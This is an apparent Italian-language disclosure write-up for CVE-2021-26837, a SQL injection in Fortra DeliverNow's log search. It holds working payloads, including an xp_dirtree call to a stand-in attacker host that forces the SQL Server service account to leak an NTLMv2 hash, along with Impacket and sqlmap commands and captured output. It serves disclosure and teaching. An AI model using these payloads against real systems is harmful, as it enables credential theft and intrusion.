
CVE-2021-26837 - SQL Injection nel parametro SearchTextbox di HelpSystems/Fortra DeliverNow. Payload, richieste annotate ed evidenze. Corretto nella versione 1.2.18.
Iniezione SQL in HelpSystems / Fortra DeliverNow
Il parametro SearchTextbox nella pagina di ricerca log di DeliverNow (/LogGrid.aspx)
viene concatenato direttamente in una query SQL Server senza parametrizzazione e senza
validazione lato server. L'applicazione mostrava inoltre gli errori del parser di SQL
Server risultanti direttamente all'utente, ed è così che il bug si è manifestato.
La connessione al database girava come sa, quindi l'iniezione ha ereditato pieni
privilegi sysadmin sull'istanza. Questo è bastato a chiamare master.dbo.xp_dirtree
verso un percorso UNC controllato dall'attaccante e a costringere l'account di servizio
di SQL Server ad autenticarsi in uscita.
Trovata durante un penetration test interno. Corretta dal fornitore in DeliverNow 1.2.18 e pubblicata come CVE-2021-26837.
Scoperta e segnalata da Sedric Louissaint di Show Up Show Out Security.
| CVE | CVE-2021-26837 |
| Prodotto | DeliverNow (HelpSystems, ora Fortra) |
| Versione interessata | precedente alla 1.2.18 (l'avviso originale elencava la 1.2.18 e versioni precedenti) |
| Debolezza | CWE-89: SQL Injection |
| CVSS 3.1 (NVD) | 9.8 Critico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (ricercatore) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Pubblicata | 2023-09-19 |
| Testata su | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
Descrizione NVD:
La vulnerabilità di iniezione SQL nel parametro SearchTextBox in Fortra (ex HelpSystems) DeliverNow precedente alla versione 1.2.18 consente agli attaccanti di eseguire codice arbitrario, aumentare i privilegi e ottenere informazioni sensibili.
POST /LogGrid.aspx, parametro del corpo SearchTextbox. Il modulo è il controllo di
ricerca nella vista Log dell'applicazione. ddlFieldName seleziona la colonna da
cercare (Description nelle richieste seguenti) e SearchTextbox contiene il termine.
Un semplice apostrofo è sufficiente a dimostrarlo:
blah'
La risposta mostra l'errore del parser di SQL Server direttamente nella pagina:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

La divulgazione di quell'errore è di per sé un finding. Trasforma quella che altrimenti sarebbe un'iniezione cieca in un'iniezione completamente interattiva.
Poiché la connessione gira come sa, master.dbo.xp_dirtree è raggiungibile.
Puntandolo a un percorso UNC su un host che controlli, l'account di servizio di SQL
Server si autentica in uscita verso quell'host tramite SMB:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Richiesta completa in poc/exploited-request.http, payload
in poc/payloads.sql.

Con smbserver.py di Impacket in ascolto, l'account di servizio di SQL Server del
target si autentica e rilascia un hash NTLMv2:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

L'hash è quindi disponibile per il cracking offline o per il relay NTLM verso un altro host.
sqlmap conferma l'iniezione e il livello di privilegio:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa significa che ogni hash di login sull'istanza è leggibile e xp_cmdshell è a una
sola chiamata sp_configure dall'esecuzione di comandi sull'host.
Contro un'istanza di laboratorio di tua proprietà o per cui sei autorizzato a testare:
http://<host>:1080/) e apri Log.blah' nel campo di ricerca e invia. Una build vulnerabile mostra l'errore
del parser di SQL Server nella pagina.sudo smbserver.py c . -smb2support
xp_dirtree da poc/payloads.sql sostituendo il
tuo IP. Una build vulnerabile produce un'autenticazione SMB in ingresso dall'account di
servizio di SQL Server.sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Detection and out-of-band payloads for SearchTextbox
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations and expected output
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
Gli host e gli hash nelle catture provengono dall'incarico originale e non sono più validi da tempo. Sostituisci il tuo indirizzo di listener quando riproduci.
sa. L'applicazione ha bisogno di accesso in lettura e
scrittura alle proprie tabelle. Non ha bisogno di sysadmin, e non ha bisogno di
xp_dirtree. Il principio del minimo privilegio non avrebbe prevenuto l'iniezione ma
l'avrebbe contenuta.Corretta dal fornitore in DeliverNow 1.2.18. Aggiorna.
| Data | Evento |
|---|---|
| 2021 | Trovata durante un penetration test interno e segnalata a HelpSystems |
| 2021 | Corretta in DeliverNow 1.2.18 |
| 2023-09-19 | CVE-2021-26837 pubblicata su NVD, valutata 9.8 Critico |
Pubblicata dopo la correzione da parte del fornitore, a scopo difensivo ed educativo. I payload qui presenti prendono di mira una versione corretta anni fa. Non eseguirli contro sistemi che non possiedi o per cui non hai un'autorizzazione scritta a testare.